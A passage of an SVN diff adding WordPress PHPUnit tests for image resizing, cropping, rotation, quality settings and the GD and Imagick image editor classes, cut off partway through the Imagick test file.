+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 400, 533, 480, 640), $out );
+	}
+
+	function test_0x400_no_crop() {
+		// landscape: resize 640x480 to fit 400h: 533x400
+		$out = image_resize_dimensions(640, 480, 0, 400, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 533, 400, 640, 480), $out );
+
+		// portrait: resize 480x640 to fit 400h: 300x400
+		$out = image_resize_dimensions(480, 640, 0, 400, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 300, 400, 480, 640), $out );
+	}
+
+	function test_800x800_no_crop() {
+		// landscape: resize 640x480 to fit 800x800
+		$out = image_resize_dimensions(640, 480, 800, 800, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( false, $out );
+
+		// portrait: resize 480x640 to fit 800x800
+		$out = image_resize_dimensions(480, 640, 800, 800, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( false, $out );
+	}
+
+	function test_800x0_no_crop() {
+		// landscape: resize 640x480 to fit 800w
+		$out = image_resize_dimensions(640, 480, 800, 0, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( false, $out );
+
+		// portrait: resize 480x640 to fit 800w
+		$out = image_resize_dimensions(480, 640, 800, 0, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( false, $out );
+	}
+
+	function test_0x800_no_crop() {
+		// landscape: resize 640x480 to fit 800h
+		$out = image_resize_dimensions(640, 480, 0, 800, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( false, $out );
+
+		// portrait: resize 480x640 to fit 800h
+		$out = image_resize_dimensions(480, 640, 0, 800, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( false, $out );
+	}
+
+	// cropped versions
+
+	function test_400x400_crop() {
+		// landscape: crop 640x480 to fit 400x400: 400x400 taken from a 480x480 crop at (80. 0)
+		$out = image_resize_dimensions(640, 480, 400, 400, true);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 80, 0, 400, 400, 480, 480), $out );
+
+		// portrait: resize 480x640 to fit 400x400: 400x400 taken from a 480x480 crop at (0. 80)
+		$out = image_resize_dimensions(480, 640, 400, 400, true);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 80, 400, 400, 480, 480), $out );
+	}
+
+	function test_400x0_crop() {
+		// landscape: resize 640x480 to fit 400w: 400x300
+		$out = image_resize_dimensions(640, 480, 400, 0, true);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 400, 300, 640, 480), $out );
+
+		// portrait: resize 480x640 to fit 400w: 400x533
+		$out = image_resize_dimensions(480, 640, 400, 0, true);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 400, 533, 480, 640), $out );
+	}
+
+	function test_0x400_crop() {
+		// landscape: resize 640x480 to fit 400h: 533x400
+		$out = image_resize_dimensions(640, 480, 0, 400, true);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 533, 400, 640, 480), $out );
+
+		// portrait: resize 480x640 to fit 400h: 300x400
+		$out = image_resize_dimensions(480, 640, 0, 400, true);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 300, 400, 480, 640), $out );
+	}
+
+	function test_400x500_crop() {
+		// landscape: crop 640x480 to fit 400x500: 400x400 taken from a 480x480 crop at (80. 0)
+		$out = image_resize_dimensions(640, 480, 400, 500, true);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 120, 0, 400, 480, 400, 480), $out );
+
+		// portrait: resize 480x640 to fit 400x400: 400x400 taken from a 480x480 crop at (0. 80)
+		$out = image_resize_dimensions(480, 640, 400, 500, true);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 20, 400, 500, 480, 600), $out );
+	}
+
+	function test_640x480() {
+		// crop 640x480 to fit 640x480 (no change)
+		$out = image_resize_dimensions(640, 480, 640, 480, true);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 640, 480, 640, 480), $out );
+
+		// resize 640x480 to fit 640x480 (no change)
+		$out = image_resize_dimensions(640, 480, 640, 480, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 640, 480, 640, 480), $out );
+	}
+
+	/**
+	 * @ticket 19393
+	 */
+	function test_crop_anchors() {
+		// landscape: crop 640x480 to fit 400x500: 400x400 taken from a 480x480 crop
+		// src_x = 0 (left), src_y = 0 (top)
+		$out = image_resize_dimensions(640, 480, 400, 500, array( 'left', 'top' ) );
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 400, 480, 400, 480), $out );
+
+		// portrait: resize 480x640 to fit 400x400: 400x400 taken from a 480x480 crop
+		// src_x = 0 (left), src_y = 0 (top)
+		$out = image_resize_dimensions(480, 640, 400, 500, array( 'left', 'top' ) );
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 400, 500, 480, 600), $out );
+
+		// landscape: crop 640x480 to fit 400x500: 400x400 taken from a 480x480 crop
+		// src_x = 240 (left), src_y = 0 (due to landscape crop)
+		$out = image_resize_dimensions(640, 480, 400, 500, array( 'right', 'bottom' ) );
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 240, 0, 400, 480, 400, 480), $out );
+
+		// portrait: resize 480x640 to fit 400x400: 400x400 taken from a 480x480 crop
+		// src_x = 0 (due to portrait crop), src_y = 40 (bottom)
+		$out = image_resize_dimensions(480, 640, 400, 500, array( 'right', 'bottom' ) );
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 40, 400, 500, 480, 600), $out );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/image/editor.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/image/editor.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/image/editor.php	(revision 33402)
@@ -0,0 +1,168 @@
+<?php
+
+/**
+ * Test the WP_Image_Editor base class
+ * @group image
+ * @group media
+ */
+class Tests_Image_Editor extends WP_Image_UnitTestCase {
+	public $editor_engine = 'WP_Image_Editor_Mock';
+
+	/**
+	 * Setup test fixture
+	 */
+	public function setup() {
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor.php' );
+
+		include_once( DIR_TESTDATA . '/../includes/mock-image-editor.php' );
+
+		parent::setUp();
+	}
+
+	/**
+	 * Test wp_get_image_editor() where load returns true
+	 * @ticket 6821
+	 */
+	public function test_get_editor_load_returns_true() {
+		$editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+
+		$this->assertInstanceOf( 'WP_Image_Editor_Mock', $editor );
+	}
+
+	/**
+	 * Test wp_get_image_editor() where load returns false
+	 * @ticket 6821
+	 */
+	public function test_get_editor_load_returns_false() {
+		WP_Image_Editor_Mock::$load_return = new WP_Error();
+
+		$editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+
+		$this->assertInstanceOf( 'WP_Error', $editor );
+
+		WP_Image_Editor_Mock::$load_return = true;
+	}
+
+	/**
+	 * Test test_quality
+	 * @ticket 6821
+	 */
+	public function test_set_quality() {
+
+		// Get an editor
+		$editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+		$editor->set_mime_type( "image/jpeg" ); // Ensure mime-specific filters act properly.
+
+		// Check default value
+		$this->assertEquals( 90, $editor->get_quality() );
+
+		// Ensure the quality filters do not have precedence if created after editor instantiation.
+		$func_100_percent = create_function( '', "return 100;" );
+		add_filter( 'wp_editor_set_quality', $func_100_percent );
+		$this->assertEquals( 90, $editor->get_quality() );
+
+		$func_95_percent = create_function( '', "return 95;" );
+		add_filter( 'jpeg_quality', $func_95_percent );
+		$this->assertEquals( 90, $editor->get_quality() );
+
+		// Ensure set_quality() works and overrides the filters
+		$this->assertTrue( $editor->set_quality( 75 ) );
+		$this->assertEquals( 75, $editor->get_quality() );
+
+		// Get a new editor to clear default quality state
+		unset( $editor );
+		$editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+		$editor->set_mime_type( "image/jpeg" ); // Ensure mime-specific filters act properly.
+
+		// Ensure jpeg_quality filter applies if it exists before editor instantiation.
+		$this->assertEquals( 95, $editor->get_quality() );
+
+		// Get a new editor to clear jpeg_quality state
+		remove_filter( 'jpeg_quality', $func_95_percent );
+		unset( $editor );
+		$editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+
+		// Ensure wp_editor_set_quality filter applies if it exists before editor instantiation.
+		$this->assertEquals( 100, $editor->get_quality() );
+
+		// Clean up
+		remove_filter( 'wp_editor_set_quality', $func_100_percent );
+	}
+
+	/**
+	 * Test generate_filename
+	 * @ticket 6821
+	 */
+	public function test_generate_filename() {
+
+		// Get an editor
+		$editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+
+		$property = new ReflectionProperty( $editor, 'size' );
+		$property->setAccessible( true );
+		$property->setValue( $editor, array(
+			'height' => 50,
+			'width'  => 100
+		));
+
+		// Test with no parameters
+		$this->assertEquals( 'canola-100x50.jpg', basename( $editor->generate_filename() ) );
+
+		// Test with a suffix only
+		$this->assertEquals( 'canola-new.jpg', basename( $editor->generate_filename( 'new' ) ) );
+
+		// Test with a destination dir only
+		$this->assertEquals(trailingslashit( realpath( get_temp_dir() ) ), trailingslashit( realpath( dirname( $editor->generate_filename( null, get_temp_dir() ) ) ) ) );
+
+		// Test with a suffix only
+		$this->assertEquals( 'canola-100x50.png', basename( $editor->generate_filename( null, null, 'png' ) ) );
+
+		// Combo!
+		$this->assertEquals( trailingslashit( realpath( get_temp_dir() ) ) . 'canola-new.png', $editor->generate_filename( 'new', realpath( get_temp_dir() ), 'png' ) );
+	}
+
+	/**
+	 * Test get_size
+	 * @ticket 6821
+	 */
+	public function test_get_size() {
+
+		$editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+
+		// Size should be false by default
+		$this->assertNull( $editor->get_size() );
+
+		// Set a size
+		$size = array(
+			'height' => 50,
+			'width'  => 100
+		);
+		$property = new ReflectionProperty( $editor, 'size' );
+		$property->setAccessible( true );
+		$property->setValue( $editor, $size );
+
+		$this->assertEquals( $size, $editor->get_size() );
+	}
+
+	/**
+	 * Test get_suffix
+	 * @ticket 6821
+	 */
+	public function test_get_suffix() {
+		$editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+
+		// Size should be false by default
+		$this->assertFalse( $editor->get_suffix() );
+
+		// Set a size
+		$size = array(
+			'height' => 50,
+			'width'  => 100
+		);
+		$property = new ReflectionProperty( $editor, 'size' );
+		$property->setAccessible( true );
+		$property->setValue( $editor, $size );
+
+		$this->assertEquals( '100x50', $editor->get_suffix() );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/image/editor_gd.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/image/editor_gd.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/image/editor_gd.php	(revision 33402)
@@ -0,0 +1,502 @@
+<?php
+
+/**
+ * Test the WP_Image_Editor_GD class
+ * @group image
+ * @group media
+ * @group wp-image-editor-gd
+ */
+require_once( dirname( __FILE__ ) . '/base.php' );
+
+class Tests_Image_Editor_GD extends WP_Image_UnitTestCase {
+
+	public $editor_engine = 'WP_Image_Editor_GD';
+
+	public function setUp() {
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor.php' );
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor-gd.php' );
+
+		parent::setUp();
+	}
+
+	public function tearDown() {
+		$folder = DIR_TESTDATA . '/images/waffles-*.jpg';
+
+		foreach ( glob( $folder ) as $file ) {
+			unlink( $file );
+		}
+
+		$this->remove_added_uploads();
+
+		parent::tearDown();
+	}
+
+	/**
+	 * Check support for GD compatible mime types.
+	 */
+	public function test_supports_mime_type() {
+		$gd_image_editor = new WP_Image_Editor_GD( null );
+
+		$this->assertTrue( $gd_image_editor->supports_mime_type( 'image/jpeg' ), 'Does not support image/jpeg' );
+		$this->assertTrue( $gd_image_editor->supports_mime_type( 'image/png' ), 'Does not support image/png' );
+		$this->assertTrue( $gd_image_editor->supports_mime_type( 'image/gif' ), 'Does not support image/gif' );
+	}
+
+	/**
+	 * Test resizing an image, not using crop
+	 */
+	public function test_resize() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$gd_image_editor = new WP_Image_Editor_GD( $file );
+		$gd_image_editor->load();
+
+		$gd_image_editor->resize( 100, 50 );
+
+		$this->assertEquals(
+			array(
+				'width'  => 75,
+				'height' => 50,
+			),
+			$gd_image_editor->get_size()
+		);
+	}
+
+	/**
+	 * Test multi_resize with single image resize and no crop
+	 */
+	public function test_single_multi_resize() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$gd_image_editor = new WP_Image_Editor_GD( $file );
+		$gd_image_editor->load();
+
+		$sizes_array =	array(
+			array(
+				'width'  => 50,
+				'height' => 50,
+			),
+		);
+
+		$resized = $gd_image_editor->multi_resize( $sizes_array );
+
+		# First, check to see if returned array is as expected
+		$expected_array = array(
+			array(
+				'file'      => 'waffles-50x33.jpg',
+				'width'     => 50,
+				'height'    => 33,
+				'mime-type' => 'image/jpeg',
+			),
+		);
+
+		$this->assertEquals( $expected_array, $resized );
+
+		// Now, verify real dimensions are as expected
+		$image_path = DIR_TESTDATA . '/images/'. $resized[0]['file'];
+		$this->assertImageDimensions(
+			$image_path,
+			$expected_array[0]['width'],
+			$expected_array[0]['height']
+		);
+	}
+
+	/**
+	 * Ensure multi_resize doesn't create an image when
+	 * both height and weight are missing, null, or 0.
+	 *
+	 * ticket 26823
+	 */
+	public function test_multi_resize_does_not_create() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$gd_image_editor = new WP_Image_Editor_GD( $file );
+		$gd_image_editor->load();
+
+		$sizes_array = array(
+			array(
+				'width'  => 0,
+				'height' => 0,
+			),
+			array(
+				'width'  => 0,
+				'height' => 0,
+				'crop'   => true,
+			),
+			array(
+				'width'  => null,
+				'height' => null,
+			),
+			array(
+				'width'  => null,
+				'height' => null,
+				'crop'   => true,
+			),
+			array(
+				'width'  => '',
+				'height' => '',
+			),
+			array(
+				'width'  => '',
+				'height' => '',
+				'crop'   => true,
+			),
+			array(
+				'width'  => 0,
+			),
+			array(
+				'width'  => 0,
+				'crop'   => true,
+			),
+			array(
+				'width'  => null,
+			),
+			array(
+				'width'  => null,
+				'crop'   => true,
+			),
+			array(
+				'width'  => '',
+			),
+			array(
+				'width'  => '',
+				'crop'   => true,
+			),
+		);
+
+		$resized = $gd_image_editor->multi_resize( $sizes_array );
+
+		// If no images are generated, the returned array is empty.
+		$this->assertEmpty( $resized );
+	}
+
+	/**
+	 * Test multi_resize with multiple sizes
+	 *
+	 * ticket 26823
+	 */
+	public function test_multi_resize() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$gd_image_editor = new WP_Image_Editor_GD( $file );
+		$gd_image_editor->load();
+
+		$sizes_array = array(
+
+			/**
+			 * #0 - 10x10 resize, no cropping.
+			 * By aspect, should be 10x6 output.
+			 */
+			array(
+				'width'  => 10,
+				'height' => 10,
+				'crop'   => false,
+			),
+
+			/**
+			 * #1 - 75x50 resize, with cropping.
+			 * Output dimensions should be 75x50
+			 */
+			array(
+				'width'  => 75,
+				'height' => 50,
+				'crop'   => true,
+			),
+
+			/**
+			 * #2 - 20 pixel max height, no cropping.
+			 * By aspect, should be 30x20 output.
+			 */
+			array(
+				'width'  => 9999, # Arbitrary High Value
+				'height' => 20,
+				'crop'   => false,
+			),
+
+			/**
+			 * #3 - 45 pixel max height, with cropping.
+			 * By aspect, should be 45x400 output.
+			 */
+			array(
+				'width'  => 45,
+				'height' => 9999, # Arbitrary High Value
+				'crop'   => true,
+			),
+
+			/**
+			 * #4 - 50 pixel max width, no cropping.
+			 * By aspect, should be 50x33 output.
+			 */
+			array(
+				'width' => 50,
+			),
+
+			/**
+			 * #5 - 55 pixel max width, no cropping, null height
+			 * By aspect, should be 55x36 output.
+			 */
+			array(
+				'width'  => 55,
+				'height' => null,
+			),
+
+			/**
+			 * #6 - 55 pixel max height, no cropping, no width specified.
+			 * By aspect, should be 82x55 output.
+			 */
+			array(
+				'height' => 55,
+			),
+
+			/**
+			 * #7 - 60 pixel max height, no cropping, null width.
+			 * By aspect, should be 90x60 output.
+			 */
+			array(
+				'width'  => null,
+				'height' => 60,
+			),
+
+			/**
+			 * #8 - 70 pixel max height, no cropping, negative width.
+			 * By aspect, should be 105x70 output.
+			 */
+			array(
+				'width'  => -9999, # Arbitrary Negative Value
+				'height' => 70,
+			),
+
+			/**
+			 * #9 - 200 pixel max width, no cropping, negative height.
+			 * By aspect, should be 200x133 output.
+			 */
+			array(
+				'width'  => 200,
+				'height' => -9999, # Arbitrary Negative Value
+			),
+		);
+
+		$resized = $gd_image_editor->multi_resize( $sizes_array );
+
+		$expected_array = array(
+
+			// #0
+			array(
+				'file'      => 'waffles-10x7.jpg',
+				'width'     => 10,
+				'height'    => 7,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #1
+			array(
+				'file'      => 'waffles-75x50.jpg',
+				'width'     => 75,
+				'height'    => 50,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #2
+			array(
+				'file'      => 'waffles-30x20.jpg',
+				'width'     => 30,
+				'height'    => 20,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #3
+			array(
+				'file'      => 'waffles-45x400.jpg',
+				'width'     => 45,
+				'height'    => 400,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #4
+			array(
+				'file'      => 'waffles-50x33.jpg',
+				'width'     => 50,
+				'height'    => 33,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #5
+			array(
+				'file'      => 'waffles-55x37.jpg',
+				'width'     => 55,
+				'height'    => 37,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #6
+			array(
+				'file'      => 'waffles-83x55.jpg',
+				'width'     => 83,
+				'height'    => 55,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #7
+			array(
+				'file'      => 'waffles-90x60.jpg',
+				'width'     => 90,
+				'height'    => 60,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #8
+			array(
+				'file'      => 'waffles-105x70.jpg',
+				'width'     => 105,
+				'height'    => 70,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #9
+			array(
+				'file'      => 'waffles-200x133.jpg',
+				'width'     => 200,
+				'height'    => 133,
+				'mime-type' => 'image/jpeg',
+			),
+		);
+
+		$this->assertNotNull( $resized );
+		$this->assertEquals( $expected_array, $resized );
+
+		foreach( $resized as $key => $image_data ){
+			$image_path = DIR_TESTDATA . '/images/' . $image_data['file'];
+
+			// Now, verify real dimensions are as expected
+			$this->assertImageDimensions(
+				$image_path,
+				$expected_array[$key]['width'],
+				$expected_array[$key]['height']
+			);
+		}
+	}
+
+	/**
+	 * Test resizing an image with cropping
+	 */
+	public function test_resize_and_crop() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$gd_image_editor = new WP_Image_Editor_GD( $file );
+		$gd_image_editor->load();
+
+		$gd_image_editor->resize( 100, 50, true );
+
+		$this->assertEquals(
+			array(
+				'width'  => 100,
+				'height' => 50,
+			),
+			$gd_image_editor->get_size()
+		);
+	}
+
+	/**
+	 * Test cropping an image
+	 */
+	public function test_crop() {
+		$file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+		$gd_image_editor = new WP_Image_Editor_GD( $file );
+		$gd_image_editor->load();
+
+		$gd_image_editor->crop( 0, 0, 50, 50 );
+
+		$this->assertEquals(
+			array(
+				'width' => 50,
+				'height' => 50,
+			),
+			$gd_image_editor->get_size()
+		);
+	}
+
+	/**
+	 * Test rotating an image 180 deg
+	 */
+	public function test_rotate() {
+		$file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+		$gd_image_editor = new WP_Image_Editor_GD( $file );
+		$gd_image_editor->load();
+
+		$property = new ReflectionProperty( $gd_image_editor, 'image' );
+		$property->setAccessible( true );
+
+		$color_top_left = imagecolorat( $property->getValue( $gd_image_editor ), 0, 0 );
+
+		$gd_image_editor->rotate( 180 );
+
+		$this->assertEquals( $color_top_left, imagecolorat( $property->getValue( $gd_image_editor ), 99, 99 ) );
+	}
+
+	/**
+	 * Test flipping an image
+	 */
+	public function test_flip() {
+		$file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+		$gd_image_editor = new WP_Image_Editor_GD( $file );
+		$gd_image_editor->load();
+
+		$property = new ReflectionProperty( $gd_image_editor, 'image' );
+		$property->setAccessible( true );
+
+		$color_top_left = imagecolorat( $property->getValue( $gd_image_editor ), 0, 0 );
+
+		$gd_image_editor->flip( true, false );
+
+		$this->assertEquals( $color_top_left, imagecolorat( $property->getValue( $gd_image_editor ), 0, 99 ) );
+	}
+
+	/**
+	 * Test the image created with WP_Image_Editor_GD preserves alpha when resizing
+	 *
+	 * @ticket 23039
+	 */
+	public function test_image_preserves_alpha_on_resize() {
+		$file = DIR_TESTDATA . '/images/transparent.png';
+
+		$editor = wp_get_image_editor( $file );
+
+		$this->assertNotInstanceOf( 'WP_Error', $editor );
+
+		$editor->load();
+		$editor->resize( 5, 5 );
+		$save_to_file = tempnam( get_temp_dir(), '' ) . '.png';
+
+		$editor->save( $save_to_file );
+
+		$this->assertImageAlphaAtPointGD( $save_to_file, array( 0,0 ), 127 );
+
+		unlink( $save_to_file );
+	}
+
+	/**
+	 * Test the image created with WP_Image_Editor_GD preserves alpha with no resizing etc
+	 *
+	 * @ticket 23039
+	 */
+	public function test_image_preserves_alpha() {
+		$file = DIR_TESTDATA . '/images/transparent.png';
+
+		$editor = wp_get_image_editor( $file );
+
+		$this->assertNotInstanceOf( 'WP_Error', $editor );
+
+		$editor->load();
+
+		$save_to_file = tempnam( get_temp_dir(), '' ) . '.png';
+
+		$editor->save( $save_to_file );
+
+		$this->assertImageAlphaAtPointGD( $save_to_file, array( 0,0 ), 127 );
+
+		unlink( $save_to_file );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/image/editor_imagick.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/image/editor_imagick.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/image/editor_imagick.php	(revision 33402)
@@ -0,0 +1,510 @@
+<?php
+
+/**
+ * Test the WP_Image_Editor_Imagick class
+ * @group image
+ * @group media
+ * @group wp-image-editor-imagick
+ */
+require_once( dirname( __FILE__ ) . '/base.php' );
+
+class Tests_Image_Editor_Imagick extends WP_Image_UnitTestCase {
+
+	public $editor_engine = 'WP_Image_Editor_Imagick';
+
+	public function setUp() {
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor.php' );
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor-imagick.php' );
+
+		parent::setUp();
+	}
+
+	public function tearDown() {
+		$folder = DIR_TESTDATA . '/images/waffles-*.jpg';
+
+		foreach ( glob( $folder ) as $file ) {
+			unlink( $file );
+		}
+
+		$this->remove_added_uploads();
+
+		parent::tearDown();
+	}
+
+	/**
+	 * Check support for ImageMagick compatible mime types.
+	 */
+	public function test_supports_mime_type() {
+		$imagick_image_editor = new WP_Image_Editor_Imagick( null );
+
+		$this->assertTrue( $imagick_image_editor->supports_mime_type( 'image/jpeg' ), 'Does not support image/jpeg' );
+		$this->assertTrue( $imagick_image_editor->supports_mime_type( 'image/png' ), 'Does not support image/png' );
+		$this->assertTrue( $imagick_image_editor->supports_mime_type( 'image/gif' ), 'Does not support image/gif' );
+	}
+
+	/**
+	 * Test resizing an image, not using crop
+	 */
+	public function test_resize() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+		$imagick_image_editor->load();
+
+		$imagick_image_editor->resize( 100, 50 );
+
+		$this->assertEquals(
+			array(
+				'width'  => 75,
+				'height' => 50,
+			),
+			$imagick_image_editor->get_size()
+		);
+	}
+
+	/**
+	 * Test multi_resize with single image resize and no crop
+	 */
+	public function test_single_multi_resize() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+		$imagick_image_editor->load();
+
+		$sizes_array =	array(
+			array(
+				'width'  => 50,
+				'height' => 50,
+			),
+		);
+
+		$resized = $imagick_image_editor->multi_resize( $sizes_array );
+
+		# First, check to see if returned array is as expected
+		$expected_array = array(
+			array(
+				'file'      => 'waffles-50x33.jpg',
+				'width'     => 50,
+				'height'    => 33,
+				'mime-type' => 'image/jpeg',
+			),
+		);
+
+		$this->assertEquals( $expected_array, $resized );
+
+		// Now, verify real dimensions are as expected
+		$image_path = DIR_TESTDATA . '/images/'. $resized[0]['file'];
+		$this->assertImageDimensions(
+			$image_path,
+			$expected_array[0]['width'],
+			$expected_array[0]['height']
+		);
+	}
+
+	/**
+	 * Ensure multi_resize doesn't create an image when
+	 * both height and weight are missing, null, or 0.
+	 *
+	 * ticket 26823
+	 */
+	public function test_multi_resize_does_not_create() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+		$imagick_image_editor->load();
+
+		$sizes_array = array(
+			array(
+				'width'  => 0,
+				'height' => 0,
+			),
+			array(
+				'width'  => 0,
+				'height' => 0,
+				'crop'   => true,
+			),
+			array(
+				'width'  => null,
+				'height' => null,
+			),
+			array(
+				'width'  => null,
+				'height' => null,
+				'crop'   => true,
+			),
+			array(
+				'width'  => '',
+				'height' => '',
+			),
+			array(
+				'width'  => '',
+				'height' => '',
+				'crop'   => true,
+			),
+			array(
+				'width'  => 0,
+			),
+			array(
+				'width'  => 0,
+				'crop'   => true,
+			),
+			array(
+				'width'  => null,
+			),
+			array(
+				'width'  => null,
+				'crop'   => true,
+			),
+			array(
+				'width'  => '',
+			),
+			array(
+				'width'  => '',
+				'crop'   => true,
+			),
+		);
+
+		$resized = $imagick_image_editor->multi_resize( $sizes_array );
+
+		// If no images are generated, the returned array is empty.
+		$this->assertEmpty( $resized );
+	}
+
+	/**
+	 * Test multi_resize with multiple sizes
+	 *
+	 * ticket 26823
+	 */
+	public function test_multi_resize() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+		$imagick_image_editor->load();
+
+		$sizes_array = array(
+
+			/**
+			 * #0 - 10x10 resize, no cropping.
+			 * By aspect, should be 10x6 output.
+			 */
+			array(
+				'width'  => 10,
+				'height' => 10,
+				'crop'   => false,
+			),
+
+			/**
+			 * #1 - 75x50 resize, with cropping.
+			 * Output dimensions should be 75x50
+			 */
+			array(
+				'width'  => 75,
+				'height' => 50,
+				'crop'   => true,
+			),
+
+			/**
+			 * #2 - 20 pixel max height, no cropping.
+			 * By aspect, should be 30x20 output.
+			 */
+			array(
+				'width'  => 9999, # Arbitrary High Value
+				'height' => 20,
+				'crop'   => false,
+			),
+
+			/**
+			 * #3 - 45 pixel max height, with cropping.
+			 * By aspect, should be 45x400 output.
+			 */
+			array(
+				'width'  => 45,
+				'height' => 9999, # Arbitrary High Value
+				'crop'   => true,
+			),
+
+			/**
+			 * #4 - 50 pixel max width, no cropping.
+			 * By aspect, should be 50x33 output.
+			 */
+			array(
+				'width' => 50,
+			),
+
+			/**
+			 * #5 - 55 pixel max width, no cropping, null height
+			 * By aspect, should be 55x36 output.
+			 */
+			array(
+				'width'  => 55,
+				'height' => null,
+			),
+
+			/**
+			 * #6 - 55 pixel max height, no cropping, no width specified.
+			 * By aspect, should be 82x55 output.
+			 */
+			array(
+				'height' => 55,
+			),
+
+			/**
+			 * #7 - 60 pixel max height, no cropping, null width.
+			 * By aspect, should be 90x60 output.
+			 */
+			array(
+				'width'  => null,
+				'height' => 60,
+			),
+
+			/**
+			 * #8 - 70 pixel max height, no cropping, negative width.
+			 * By aspect, should be 105x70 output.
+			 */
+			array(
+				'width'  => -9999, # Arbitrary Negative Value
+				'height' => 70,
+			),
+
+			/**
+			 * #9 - 200 pixel max width, no cropping, negative height.
+			 * By aspect, should be 200x133 output.
+			 */
+			array(
+				'width'  => 200,
+				'height' => -9999, # Arbitrary Negative Value
+			),
+		);
+
+		$resized = $imagick_image_editor->multi_resize( $sizes_array );
+
+		$expected_array = array(
+
+			// #0
+			array(
+				'file'      => 'waffles-10x7.jpg',
+				'width'     => 10,
+				'height'    => 7,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #1
+			array(
+				'file'      => 'waffles-75x50.jpg',
+				'width'     => 75,
+				'height'    => 50,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #2
